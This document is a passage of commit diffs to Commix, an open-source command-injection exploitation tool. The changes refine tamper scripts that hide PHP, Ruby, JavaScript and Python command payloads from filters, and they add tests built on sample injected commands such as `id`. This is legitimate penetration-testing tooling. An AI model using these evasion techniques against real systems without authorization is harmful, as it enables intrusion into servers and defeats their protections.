effect the command goes in that way - + # written for what the interpreter reads out of it on the way through. from src.utils import settings if any(settings.TAMPER_SCRIPTS.values()): - return "`" + cmd + "`" + return "`" + backticked(cmd) + "`" return "IO.popen(" + _literal(cmd) + ").read" # Read a file and yield its contents. def read_file(path): return run("cat " + path) -# Drop trailing whitespace, so a length agrees with what a shell's own substitution would report. +""" +Drop the newlines an output ends with, so a length agrees with what a shell's own substitution +would report. + +Whitespace of every kind taken off instead, an output ending in a space or a tab was reported +shorter than it is and came back without the part of it that said so: a command printing 'AB ' +was answered with 'AB', while the techniques reading their answer off a substitution handed back +all four characters. A substitution drops newlines and stops at the first byte that is not one - +a carriage return, among them - so that is what comes off here. +""" def trim(expr): - return "(" + expr + ").rstrip" + # Read as bytes before the pattern is put to it. What this language's own reader hands back is + # tagged with the encoding the process was started in, US-ASCII on a target that names none, and a + # pattern over a string carrying a byte that encoding cannot read raises rather than matching: an + # output of three Greek letters took the whole payload down with it and came back as nothing at + # all, where the same output read one byte at a time came back whole. Every byte sequence is a + # valid one in ASCII-8BIT, which is what the length and the ordinals beside this already count. + return "(" + expr + ").force_encoding(\"ASCII-8BIT\").sub(/\\n+\\z/, \"\")" -# How many bytes an expression is. +""" +How many bytes an expression is. + +Counted off the bytes rather than off what this language calls its characters: a command printing +three Greek letters is six bytes and was reported as three, so the search asked about half of them +and the other half came back as nothing at all. Every other grammar here counts bytes, and the +ordinals the techniques read are byte ordinals, so the two have to agree on what a position is. +""" def length(expr): - return "(" + expr + ").length" + return "(" + expr + ").bytesize" """ The ordinal of an expression's Nth byte, counting from zero. @@ -138,7 +187,7 @@ def length(expr): from "out of range" the way 'nil' is. """ def ordinal(expr, index): - return "((" + expr + ")[" + str(index) + "] || \"\\0\").ord" + return "((" + expr + ").getbyte(" + str(index) + ") || 0)" # An expression's value read as a number, for a command whose output is one - 'nil.to_i' and # '"".to_i' both answer 0, so nothing further has to guard against either. diff --git a/src/tamper/eval/javascript/nashornexec.py b/src/tamper/eval/javascript/nashornexec.py index d69894af89..2be21f3069 100644 --- a/src/tamper/eval/javascript/nashornexec.py +++ b/src/tamper/eval/javascript/nashornexec.py @@ -17,19 +17,17 @@ from src.core.controller import checks """ -About: Rewrites the grammar's require() calls into a Java-interop shim, and its arrow function and - trimEnd() into ECMAScript-5 equivalents, for a sink evaluating JavaScript through Java's - Nashorn engine rather than Node. +About: Rewrites the grammar's require() calls into a Java-interop shim, and its arrow function + into an ECMAScript-5 equivalent, for a sink evaluating JavaScript through Java's Nashorn + engine rather than Node. Notes: This tamper script works against target(s) evaluating JavaScript (i.e. option '--eval=javascript'). 'require("child_process")' and 'require("fs")' resolve to nothing, since neither module exists outside Node; Nashorn exposes the whole Java classpath as plain globals by default though, with no filter configured unless the embedding application added one itself, so a shim standing in for the module reaches a real shell through java.lang.ProcessBuilder in execSync's place, and a real file through java.nio.file.Files in readFileSync's place. - Separately, two things the grammar writes are newer than the language Nashorn implements: - every answer it reads back is trimmed with 'trimEnd()', added in 2019, where the call is - simply not defined - and the one place it stops a page throws out of an arrow function, - which is ES6, and which Nashorn does not parse at all. + Separately, the one place the grammar stops a page throws out of an arrow function, which + is ES6, and which Nashorn does not parse at all. Reference: https://www.exploit-db.com/exploits/33028 (same shape against JRuby's own sandbox: a blocked native call reached instead through the host language's interop) """ @@ -67,9 +65,6 @@ def tamper(payload): # Every require() the grammar writes opens on the same bracket regardless of the module named, # the way the shim itself only decides which module it is once it is actually called. payload = payload.replace('require(', _SHIM) - # The one ES2019 method the grammar relies on, rewritten to what trimming trailing whitespace - # looked like before that version - a regex substitution every ECMAScript release has had. - payload = payload.replace('.trimEnd()', '.replace(/\\s+$/,"")') # The one arrow function it writes, as the function expression that says the same thing before # ES6 - left as it is, the payload does not parse at all here, and a parse error answers every # boundary with the very same page, which a technique reading one answer against another is diff --git a/src/tamper/eval/php/phpconcat.py b/src/tamper/eval/php/phpconcat.py index 635e69f1b5..013bbbdab1 100644 --- a/src/tamper/eval/php/phpconcat.py +++ b/src/tamper/eval/php/phpconcat.py @@ -73,7 +73,19 @@ def _quoted_command(command): # What the backtick operator is underneath, so naming it runs the command the backticks ran. BACKTICK_FUNCTION = "shell_exec" -BACKTICK_COMMAND = r"`([^`]*)`" +# The operator and everything it holds, an escaped backtick of the command's own staying inside +# the command rather than reading as the one that closes it. +BACKTICK_COMMAND = r"`((?:[^`\\]|\\.)*)`" + +""" +The command as it was written, out of the operator it was read out of. + +The operator reads its own string before the shell is handed it, so the command sits in there +written for that reading. The call this script writes carries the command as a quoted literal +instead, which nothing reads on the way - so what the operator was written for comes back off. +""" +def _raw_command(text): + return settings.EVAL_GRAMMAR.backtick_command(text) # Run the command through a function named in pieces, wherever the payload runs one. def tamper(payload): @@ -86,7 +98,8 @@ def tamper(payload): # The boundary a payload most often arrives on names no function at all - it runs the command in # backticks, which is this function wearing punctuation, and reads the same way once named. return re.sub(BACKTICK_COMMAND, - lambda x: CALL_BY_NAME + _concat_name(BACKTICK_FUNCTION) + "," + _quoted_command(x.group(1)) + ")", + lambda x: (CALL_BY_NAME + _concat_name(BACKTICK_FUNCTION) + "," + + _quoted_command(_raw_command(x.group(1))) + ")"), payload) # eof diff --git a/src/tamper/eval/php/phphexname.py b/src/tamper/eval/php/phphexname.py index 72aacc712d..f7461bf362 100644 --- a/src/tamper/eval/php/phphexname.py +++ b/src/tamper/eval/php/phphexname.py @@ -58,7 +58,19 @@ def _quoted_command(command): # What the backtick operator is underneath, so naming it runs the command the backticks ran. BACKTICK_FUNCTION = "shell_exec" -BACKTICK_COMMAND = r"`([^`]*)`" +# The operator and everything it holds, an escaped backtick of the command's own staying inside +# the command rather than reading as the one that closes it. +BACKTICK_COMMAND = r"`((?:[^`\\]|\\.)*)`" + +""" +The command as it was written, out of the operator it was read out of. + +The operator reads its own string before the shell is handed it, so the command sits in there +written for that reading. The call this script writes carries the command as a quoted literal +instead, which nothing reads on the way - so what the operator was written for comes back off. +""" +def _raw_command(text): + return settings.EVAL_GRAMMAR.backtick_command(text) # Run the command through a function named in hex, wherever the payload runs one. def tamper(payload): @@ -71,7 +83,8 @@ def tamper(payload): # The boundary a payload most often arrives on names no function at all - it runs the command in # backticks, which is this function wearing punctuation, and reads the same way once named. return re.sub(BACKTICK_COMMAND, - lambda x: CALL_BY_NAME + _hex_name(BACKTICK_FUNCTION) + "," + _quoted_command(x.group(1)) + ")", + lambda x: (CALL_BY_NAME + _hex_name(BACKTICK_FUNCTION) + "," + + _quoted_command(_raw_command(x.group(1))) + ")"), payload) # eof diff --git a/src/tamper/eval/php/phpnoletters.py b/src/tamper/eval/php/phpnoletters.py index 9fdbb456bf..cac8c2104c 100644 --- a/src/tamper/eval/php/phpnoletters.py +++ b/src/tamper/eval/php/phpnoletters.py @@ -99,6 +99,11 @@ def _matching_paren(text, open_index): depth, in_backtick, i = 0, False, open_index while i < len(text): char = text[i] + # A backslash shields whatever follows it, so a backtick of the command's own does not read as + # the one that ends the command. + if char == "' + B*2 + '" and in_backtick: + i += 2 + continue if char == "`": in_backtick = not in_backtick elif not in_backtick: @@ -163,9 +168,20 @@ def _hide_print(payload): """ _HALT_REPLACEMENT = "9256" -# Hide every letter left inside a backtick-run shell command, the punctuation around it untouched. +# The operator and everything it holds, an escaped backtick of the command's own staying inside +# the command rather than reading as the one that closes it. +BACKTICK_SPAN = r"`((?:[^`\\]|\\.)*)`" + +""" +Hide every letter left inside a backtick-run shell command, the punctuation around it untouched. + +The command is read back as it was written before its letters are hidden and written for the +operator again afterwards: what is written here is octal escapes, which the operator's own +string would otherwise read for itself and hand the shell the letters they were hiding. +""" def _hide_backtick(match): - return "`" + _hide_letters(match.group(1)) + "`" + command = _hide_letters(settings.EVAL_GRAMMAR.backtick_command(match.group(1))) + return "`" + settings.EVAL_GRAMMAR.backticked(command) + "`" def tamper(payload): # Run for what they do or read for what they answer, every one is hidden the same way. @@ -173,6 +189,6 @@ def tamper(payload): payload = _hide_value_calls(payload, name) payload = payload.replace("exit()", _HALT_REPLACEMENT) payload = _hide_print(payload) - return re.sub(r"`([^`]*)`", _hide_backtick, payload) + return re.sub(BACKTICK_SPAN, _hide_backtick, payload) # eof diff --git a/src/tamper/eval/php/phpnosymbols.py b/src/tamper/eval/php/phpnosymbols.py index 0763fc5d8b..d9bb45d15f 100644 --- a/src/tamper/eval/php/phpnosymbols.py +++ b/src/tamper/eval/php/phpnosymbols.py @@ -55,15 +55,23 @@ def _rewrite_php_span(span): span = _EMPTY_STRING.sub("?NULL:exit()", span) return span +# The operator and everything it holds, an escaped backtick of the command's own staying inside +# the command rather than reading as the one that closes it. +BACKTICK_SPAN = r"`((?:[^`\\]|\\.)*)`" + def tamper(payload): if settings.EVAL_GRAMMAR.NAME != "php": return payload - # Backticks alternate PHP-level code with the shell command it runs - odd positions are the - # commands themselves, left exactly as every other tamper script already left them. - parts = payload.split("`") + # The operator alternates PHP-level code with the shell command it runs - odd positions are the + # commands themselves, left exactly as every other tamper script already left them. Split on the + # operator rather than on every backtick, so one of the command's own, written behind a backslash + # for the interpreter that reads the operator's string, does not open a span of PHP that is not + # there - everything after it was then rewritten as the wrong one of the two. + parts = re.split(BACKTICK_SPAN, payload) for index in range(0, len(parts), 2): parts[index] = _rewrite_php_span(parts[index]) - payload = "`".join(parts) + payload = "".join(part if index % 2 == 0 else "`" + part + "`" + for index, part in enumerate(parts)) # The grammar's own statement terminator, said only once and only at the very end - a closing # PHP tag ends the statement it follows exactly as that character would, and reopening it is # only needed where something is meant to run after it, which nothing here ever is. diff --git a/src/tamper/eval/php/phpregreplace.py b/src/tamper/eval/php/phpregreplace.py new file mode 100644 index 0000000000..2c54956747 --- /dev/null +++ b/src/tamper/eval/php/phpregreplace.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Carries a payload through a replacement string, for a PHP sink evaluated by preg_replace(). +Notes: This tamper script works against target(s) evaluating PHP (i.e. option '--eval=php'). +References: [1] https://www.php.net/manual/en/function.preg-replace.php +""" + +__tamper__ = "phpregreplace" + +# Applied last, after every other script has finished shaping the payload: this is not another way +# of writing the payload but what carries whatever the payload ended up being, and a script running +# after it would write backslashes of its own that nothing is left to carry. +__priority__ = settings.PRIORITY.LOWEST + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "php") + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +""" +A group the replacement string is read as naming, which the payload has to say it does not. + +What preg_replace() evaluates is the replacement with its backreferences already filled in, and a +pattern that captured nothing fills them in with nothing: a command written '\141\142\143' reached +the sink as '123', each backslash and the two digits behind it spent on a group that was never +there. A backslash is written twice to arrive as the one character it was, and a dollar sign in +front of a digit - the other spelling of the same thing - is written behind one. +""" +BACKREFERENCE = r"\$(?=\{?\d)" + +# Everything a replacement string is read for, written so it is read as itself instead. +def tamper(payload): + return re.sub(BACKREFERENCE, lambda x: "\\$", payload.replace("\\", "\\\\")) + +# eof diff --git a/src/tamper/eval/php/phpserverheaders.py b/src/tamper/eval/php/phpserverheaders.py index 36e51dbd6e..1dcbf9e992 100644 --- a/src/tamper/eval/php/phpserverheaders.py +++ b/src/tamper/eval/php/phpserverheaders.py @@ -59,7 +59,9 @@ def _time_related_incompatible(): EXECUTION_FUNCTION = "system" # The backtick operator, which is how a payload of this grammar runs a command. -BACKTICK_COMMAND = r"`([^`]*)`" +# The operator and everything it holds, an escaped backtick of the command's own staying inside +# the command rather than reading as the one that closes it. +BACKTICK_COMMAND = r"`((?:[^`\\]|\\.)*)`" # How many characters a generated header name carries. NAME_LENGTH = 6 @@ -112,13 +114,25 @@ def _sendable(command): parameter the request is testing. The two are drawn together and travel on the same request, so a filter reading either half sees a name of no meaning and a header of no meaning. """ +""" +The command as it was written, out of the operator it was read out of. + +The operator reads its own string before the shell is handed it, so the command sits in there +written for that reading. The call this script writes carries the command as a quoted literal +instead, which nothing reads on the way - so what the operator was written for comes back off. +""" +def _raw_command(text): + return settings.EVAL_GRAMMAR.backtick_command(text) + def tamper(payload): commands = [] function_header = _header_name() taken = set([function_header.lower()]) def _through_headers(match): - command = match.group(1) + # The header carries the command to the shell with nothing reading it on the way, so what + # the operator was written for comes off here. + command = _raw_command(match.group(1)) if not _sendable(command): return match.group(0) while True: diff --git a/src/tamper/eval/python/pyhexname.py b/src/tamper/eval/python/pyhexname.py index c0fd78f133..d3f05545cd 100644 --- a/src/tamper/eval/python/pyhexname.py +++ b/src/tamper/eval/python/pyhexname.py @@ -61,10 +61,21 @@ def _hex_name(name): def _looked_up(module, attribute): return ATTRIBUTE_OF + IMPORT_OF + _hex_name(module) + ")," + _hex_name(attribute) + ")" +""" +The callable the grammar's own reader runs a command through, which is none of the execution +functions above. + +A payload reaches a shell twice over - through the function a boundary is built around, and through +the reader every answer is read back off - and a filter watching for a name is watching for it in +both. Named here as well, so the reader arrives spelled the same way the rest of the payload is. +""" +READER_FUNCTIONS = ["__import__(\"subprocess\").Popen"] + # Run the command through a module and function named in hex, wherever the payload runs one. def tamper(payload): # Longest first, so a bare name is not rewritten out of the middle of an imported one. - for name in sorted(settings.EXECUTION_FUNCTIONS_LVL3, key=len, reverse=True): + named = set(settings.EXECUTION_FUNCTIONS_LVL3) | set(READER_FUNCTIONS) + for name in sorted(named, key=len, reverse=True): imported = re.match(IMPORTED_FUNCTION, name) if imported: looked_up = _looked_up(imported.group(1), imported.group(2)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 57cdd74df3..2e9066b149 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "345" +REVISION = "346" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. @@ -2124,6 +2124,7 @@ class AUTH_TYPE(object): "sleep2ping": False, "phphexname": False, "phpconcat": False, + "phpregreplace": False, "phpnoletters": False, "pyhexname": False, "xforwardedfor": False, diff --git a/tests/test_checks.py b/tests/test_checks.py index 6fcecd65a3..002b1427f1 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -1507,3 +1507,34 @@ def test_a_pattern_anchors_on_the_lines_of_the_answer(self): def test_a_pattern_that_does_not_compile_answers_nothing(self): menu.options.regexp = "([unclosed" self.assertIsNone(checks.boolean_oracle("body", headers=self.headers())) + +class APerCentSignACommandPrintedComesBack(unittest.TestCase): + """ + A page is read as a browser reads one, per-cent escapes included - and a command's output is not + a page. An output ending in '%' and a marker beginning with two hex digits were read together as + the one byte they spell, which left no marker to find and answered the command with nothing: the + same output came back whole or not at all depending on which six letters the marker happened to + be given, which is what made it look like a target that answers sometimes. + """ + def _response(self, charset="utf-8"): + served = type("Served", (object,), {})() + served.info = lambda: {"Content-Encoding": "", "Content-Type": "text/html; charset=" + charset} + return served + + def test_an_escape_that_would_reach_into_the_marker_is_left_alone(self): + self.assertEqual(b"a%b%%cEFLMFW", checks.percent_decoded(b"a%b%%cEFLMFW", "EFLMFW")) + self.assertEqual(b"out%EFLMFW", checks.percent_decoded(b"out%EFLMFW", "EFLMFW")) + + def test_the_same_page_is_answered_the_same_way_whichever_marker_was_drawn(self): + for marker in ("EFLMFW", "UZIPIE", "ABCDEF", "QQQQQQ"): + page = ("a%b%%c" + marker).encode(settings.DEFAULT_CODEC) + self.assertEqual(page, checks.percent_decoded(page, marker), "marker " + marker) + + def test_an_escape_the_marker_is_nowhere_near_is_still_read(self): + self.assertEqual(b"a b", checks.percent_decoded(b"a%20b", "EFLMFW")) + self.assertEqual(b"a b", checks.percent_decoded(b"a%20b")) + + def test_the_whole_page_is_read_where_no_marker_was_named(self): + body = b"a%b%%cEFLMFW" + self.assertEqual("a%b%%cEFLMFW", checks.decode_page_body(body, self._response(), guard="EFLMFW") + .replace("", "").replace("", "")) diff --git a/tests/test_grammars.py b/tests/test_grammars.py index c79b6bb659..5beec48a4a 100644 --- a/tests/test_grammars.py +++ b/tests/test_grammars.py @@ -155,6 +155,87 @@ def test_a_payload_is_something_its_own_language_can_read(self): self.skipTest("none of the evaluated languages are installed on this host") self.assertEqual([], offenders) +class WhatAGrammarReadsBackOffAnOutput(unittest.TestCase): + """ + A length and an ordinal are what the blind techniques have instead of the output itself, so what + they read has to be the same thing the techniques reading a substitution hand back. A trim that + took every kind of whitespace reported an output ending in a space shorter than it is, and an + ordinal written without brackets of its own was read as one side of the comparison wrapped around + it rather than as the byte - every comparison came back true, and the search for a byte converged + on the top of its pool whatever the byte was. + + Asked of the interpreter rather than of a spelling written out here: each of these is a question + about how the language reads what the grammar writes, which only the language can answer. One + that is not installed on this host is passed over rather than failed. + """ + PRINTERS = { + "python": ["python3", "-c", "print(%s)"], + "ruby": ["ruby", "-e", "print(%s)"], + "perl": ["perl", "-e", "print(%s)"], + "lua": ["lua", "-e", "print(%s)"], + "php": ["php", "-r", "echo(%s);"], + "javascript": ["node", "-e", "console.log(%s)"], + } + TRUE = ("1", "true", "True") + FALSE = ("", "0", "false", "False") + + def _answer(self, name, expression): + argv = list(self.PRINTERS[name]) + argv[-1] = argv[-1].replace("%s", expression) + done = subprocess.run(argv, capture_output=True, text=True, timeout=60) + self.assertEqual(0, done.returncode, + name + " could not read '" + expression[:90] + "': " + (done.stderr or "").strip()[:160]) + return done.stdout.strip() + + def _installed(self): + for name, grammar in sorted(grammars().items()): + argv = self.PRINTERS.get(name) + if argv and shutil.which(argv[0]): + yield name, grammar + + def test_the_length_counts_the_whitespace_an_output_ends_with(self): + reached = [] + for name, grammar in self._installed(): + reached.append(name) + # 'AB' and two spaces, then two newlines: a substitution drops the newlines and keeps the + # spaces, which is four characters. + written = grammar.length(grammar.trim(grammar.run("printf 'AB \\n\\n'"))) + self.assertEqual("4", self._answer(name, written), name + " counted it differently") + if not reached: + self.skipTest("none of the evaluated languages are installed on this host") + + def test_a_carriage_return_an_output_ends_with_is_counted_too(self): + for name, grammar in self._installed(): + # A substitution stops at the first byte that is not a newline, and a carriage return is one + # of those: 'AB' and a CRLF is three characters, not two. + written = grammar.length(grammar.trim(grammar.run("printf 'AB\\r\\n'"))) + self.assertEqual("3", self._answer(name, written), name + " counted it differently") + + def test_a_length_and_an_ordinal_are_read_off_the_bytes(self): + for name, grammar in self._installed(): + # Three Greek letters: six bytes, three of whatever a language calls a character. Counted the + # second way, the search asks about half the output and the rest comes back as nothing. + written = grammar.run("printf '\\316\\261\\316\\262\\316\\263'") + self.assertEqual("6", self._answer(name, grammar.length(grammar.trim(written))), + name + " did not count the bytes") + self.assertEqual("177", self._answer(name, grammar.ordinal(grammar.trim(written), 1)), + name + " did not read the second byte") + self.assertEqual("0", self._answer(name, grammar.ordinal(grammar.trim(written), 99)), + name + " answered something for a byte that is not there") + + def test_an_ordinal_is_the_byte_and_not_the_comparison_around_it(self): + for name, grammar in self._installed(): + byte = grammar.ordinal(grammar.trim(grammar.run("printf 'A'")), 0) + self.assertEqual("65", self._answer(name, byte), name + " read the byte differently") + # The comparison the blind techniques write around it - answered by the byte, not by a + # fallback that took the comparison for its own right-hand side. + above = byte + grammar.COMPARISON["-ge"] + "200" + self.assertIn(self._answer(name, above), self.FALSE, + name + " read 'A' as standing at or above 200") + below = byte + grammar.COMPARISON["-ge"] + "60" + self.assertIn(self._answer(name, below), self.TRUE, + name + " read 'A' as standing below 60") + if __name__ == "__main__": unittest.main() diff --git a/tests/test_payloads.py b/tests/test_payloads.py index 588fe5a3bc..88119c8781 100644 --- a/tests/test_payloads.py +++ b/tests/test_payloads.py @@ -502,6 +502,15 @@ def test_a_carriage_return_is_not_read_as_a_newline(self): self.assertEqual("a\rb", self._read("a\rb\n")) self.assertEqual("a\rb", self._read("a\rb")) + def test_a_windows_break_at_the_end_leaves_its_carriage_return_behind(self): + # A substitution drops the newlines an output ends with and stops at the first byte that is not + # one. Marked as the single break a CRLF is, a trailing one was taken off whole instead and the + # carriage return went with it: 'a\r\nb\r\n' came back as 'a\r\nb'. + self.assertEqual("a\r\nb\r", self._read("a\r\nb\r\n")) + self.assertEqual("a\r\n\r", self._read("a\r\n\r\n")) + self.assertEqual("a\r", self._read("a\r\n\n\n")) + self.assertEqual("a\n\r", self._read("a\n\r\n")) + def test_a_windows_line_break_is_one_break_rather_than_two(self): self.assertEqual("a\r\nb", self._read("a\r\nb\n")) diff --git a/tests/test_tamper.py b/tests/test_tamper.py index 745ebb8ba0..8c334cdb65 100644 --- a/tests/test_tamper.py +++ b/tests/test_tamper.py @@ -525,6 +525,93 @@ def test_the_rewrite_still_throws_where_the_condition_does_not_hold(self): tampered = self._tamper(grammar.halt("1==2")) self.assertIn("function(){throw new Error()}", tampered) +class TheOperatorHandsOnTheCommandItWasGiven(unittest.TestCase): + """ + Where a tamper script is in effect, the PHP and Ruby grammars run a command through the backtick + operator, because every script rewriting such a payload is written around it. The operator reads + its own string before the shell is handed anything, and what it reads it spends: 'printf \\141' + reached the shell as 'printf a', a backtick of the command's own closed the operator early, and a + '$' opened a variable that was never set. Each is written for that reading, and the scripts that + take the command back out of the operator read it off again. + """ + COMMAND = "printf '\\141\\045' $HOME `id`" + + def setUp(self): + self.grammar = settings.EVAL_GRAMMAR + self.scripts = dict(settings.TAMPER_SCRIPTS) + settings.TAMPER_SCRIPTS["phpconcat"] = True + + def tearDown(self): + settings.EVAL_GRAMMAR = self.grammar + settings.TAMPER_SCRIPTS.clear() + settings.TAMPER_SCRIPTS.update(self.scripts) + + def _grammar(self, language): + settings.EVAL_GRAMMAR = importlib.import_module("src.core.eval.grammars." + language) + return settings.EVAL_GRAMMAR + + def test_what_the_operator_reads_is_written_for_it(self): + for language, interpolation in (("php", "$"), ("ruby", "#")): + grammar = self._grammar(language) + written = grammar.run(self.COMMAND) + self.assertTrue(written.startswith("`") and written.endswith("`"), language) + inside = written[1:-1] + self.assertNotIn("\\141", inside.replace("\\\\141", ""), language + " left an escape unwritten") + self.assertNotIn("`", inside.replace("\\`", ""), language + " left a backtick unwritten") + self.assertEqual(self.COMMAND, grammar.backtick_command(inside), + language + " does not read back what it wrote") + self.assertNotIn(interpolation, inside.replace("\\" + interpolation, ""), + language + " left its own interpolation unwritten") + + def test_a_script_taking_the_command_out_gets_it_as_it_was_written(self): + grammar = self._grammar("php") + payload = grammar.print_statement("", [self.COMMAND]) + for name, module in (("phpconcat", "src.tamper.eval.php.phpconcat"), + ("phphexname", "src.tamper.eval.php.phphexname")): + tampered = importlib.import_module(module).tamper(payload) + # The call carries the command as a single-quoted literal, where only the quote and the + # backslash are spoken for - so what the operator was written for is off it again. + self.assertIn("printf \\'\\\\141\\\\045\\' $HOME `id`", tampered, + name + " did not hand on the command as it was written") + +class AReplacementStringCarriesWhatItWasGiven(unittest.TestCase): + """ + A sink evaluated by preg_replace()'s "e" modifier fills in the backreferences its replacement is + read as naming before it evaluates anything, and a pattern that captured nothing fills them in + with nothing: a command written "printf '\\141\\142\\143'" reached the sink as "printf '123'", + each backslash and the digit behind it spent on a group that was never there. What arrives has to + be what was written, so the payload is written the way that reading puts it back. + """ + # What is left of a replacement string once the backreferences in it have been filled in, with + # nothing captured to fill them with - which is what the sink evaluates. + READ_AS = r"\\\\|\\\$|\\\d{1,2}|\$\{?\d{1,2}\}?" + + def _as_the_sink_reads_it(self, replacement): + def filled(match): + return {"\\\\": "\\", "\\$": "$"}.get(match.group(0), "") + return re.sub(self.READ_AS, filled, replacement) + + def _tamper(self, payload): + from src.tamper.eval.php import phpregreplace + return phpregreplace.tamper(payload) + + def test_a_payload_arrives_as_it_was_written(self): + written = ["printf '\\141\\142\\143'", + "shell_exec('printf \\'a\\\\b\\'')", + "print(`echo $((5+7))`)", + "`cat /tmp/x.txt`"] + for payload in written: + self.assertEqual(payload, self._as_the_sink_reads_it(self._tamper(payload)), + "did not arrive as written: " + payload) + + def test_a_dollar_sign_that_stands_before_a_digit_arrives_as_one(self): + self.assertEqual("echo $1", self._as_the_sink_reads_it(self._tamper("echo $1"))) + self.assertEqual("echo ${12}", self._as_the_sink_reads_it(self._tamper("echo ${12}"))) + + def test_a_payload_with_nothing_to_carry_is_left_as_it_is(self): + for payload in ("print(`echo ABCDEF`)", "id", "echo $((1+2))"): + self.assertEqual(payload, self._tamper(payload)) + class ListedDescriptions(unittest.TestCase): """ Whatever '--list-tampers' prints for a script has to be the whole sentence the script opens with, From 9ae23e1a41e5c92b7d5960817dd9c378cf02c663 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 16 Nov 2026 08:34:16 +0200 Subject: [PATCH 1020/1023] Fixed several issues regarding the output a run reads back, affecting results-based and PowerShell output and the preserving of whitespace in command output --- src/core/controller/checks.py | 58 ++++++++++ src/core/controller/controller.py | 4 + src/core/controller/execution.py | 58 +++++++--- src/core/controller/handler.py | 16 +-- src/core/controller/injector.py | 18 ++- src/core/eval/grammars/javascript.py | 3 +- src/core/eval/grammars/lua.py | 3 +- src/core/eval/grammars/perl.py | 1 + src/core/eval/grammars/powershell.py | 83 ++++++++++++-- src/core/eval/grammars/python.py | 3 +- src/utils/common.py | 31 +++-- src/utils/settings.py | 32 +++++- tests/test_controller.py | 164 +++++++++++++++++++++------ tests/test_payloads.py | 35 ++++++ 14 files changed, 423 insertions(+), 86 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 1588ca2aa3..2c0cc81571 100644 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -860,6 +860,9 @@ def quit(filename, url, hard_exit): if not exploit: settings.PENDING_POST_DETECTION_ACTIONS = [] settings.PENDING_OS_SHELL_ENTRY = None + else: + # From here on the commands are the ones the user asked for. + settings.EXPLOITATION_STARTED = True for action_fn in list(settings.PENDING_POST_DETECTION_ACTIONS): action_fn() settings.PENDING_POST_DETECTION_ACTIONS = [] @@ -8359,4 +8362,59 @@ def in_scope(url): settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) return False +""" +Whether there is an exact reading of the output to ask for on this target at all. + +Only the classic payload against a Unix-like shell has one: a Windows target is read through +'for /f', which hands the output back line by line whatever is asked, and the payload built for an +alternative interpreter marks its own line breaks and has no plainer form to be told apart from. A +substitution that cannot hold another one cannot hold the 'awk' call either, and a tamper script +has the exact reading taken out of the payload altogether - the quoting it asks for is a level +deeper than the scripts take apart. + +Asked of the same conditions the payload is built under, so that a question is never put to the +user where answering yes would send the very payload that was sent already. +""" +def exact_output_exists(): + return (settings.TARGET_OS != settings.OS.WINDOWS and not menu.options.interpreter + and substitution_nests() and not any(settings.TAMPER_SCRIPTS.values())) + +""" +Settle, before the first command the user asked for, how this target's command output is read - once, +so that every command after it runs a single time, in the one form. + +The plain reading hands the output back as the shell's own word splitting leaves it: every run of +whitespace a single space, and the line breaks gone with them. The exact reading hands it back as +it was printed, at the cost of a payload several times the length spelling out 'awk', 'LC_ALL', +'BEGIN', 'gsub' and 'ARGV' - every one a word a filter in front of the target can be watching for. +So it is the user's to ask for, and asked before anything runs: told over an output already read, +the only way to read that output exactly is to run the command again, and a command with an effect +of its own - an append, a deletion - would have it twice. + +The target is asked first whether it has 'awk' at all, by name and without running it. Where it +does not, there is no exact reading to offer and nothing is asked. Under '--batch' the answer is the +plain reading, so neither the question nor the check that would come before it is sent - unless +'--answers' names this question with a yes, which is the user asking for it in advance. +""" +def decide_exact_output(technique, read): + if (technique != settings.INJECTION_TECHNIQUE.RESULTS_BASED or settings.EXACT_OUTPUT_CHOICE is not None + or not settings.EXPLOITATION_STARTED or not exact_output_exists()): + return + settings.EXACT_OUTPUT_CHOICE = False + message = "Do you want to preserve whitespace in command output? (more complex payloads) [y/N] " + # Under '--batch' only an answer given by name for this question is reason to send anything. + if menu.options.batch and str(common.predefined_answer(message) or "").lower() != "y": + return + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking whether the target has 'awk', which reading command output exactly needs." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + if not (read(settings.AWK_PRESENCE_CHECK) or "").strip(): + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The target has no 'awk', so command output is read the plain way." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return + answer = common.read_input(message, default="N", check_batch=True) + settings.EXACT_OUTPUT_CHOICE = str(answer).lower() == "y" + settings.RESULTS_BASED_EXACT_OUTPUT = settings.EXACT_OUTPUT_CHOICE + # eof diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 26de1e568c..33e22aea7f 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -272,6 +272,10 @@ def probe_skip_testable_value_early(url, http_request_method, check_parameter, p else: url = url.replace(marker, placeholder + settings.INJECT_TAG) settings.TESTABLE_VALUE = placeholder + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking whether the parameter's own value is required to reach the sink, by sending " + debug_msg += "the same payload with '" + placeholder + "' in place of '" + original_value + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) answered = False try: response, _ = heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place) diff --git a/src/core/controller/execution.py b/src/core/controller/execution.py index b00e241b04..cf1bfb3fb4 100644 --- 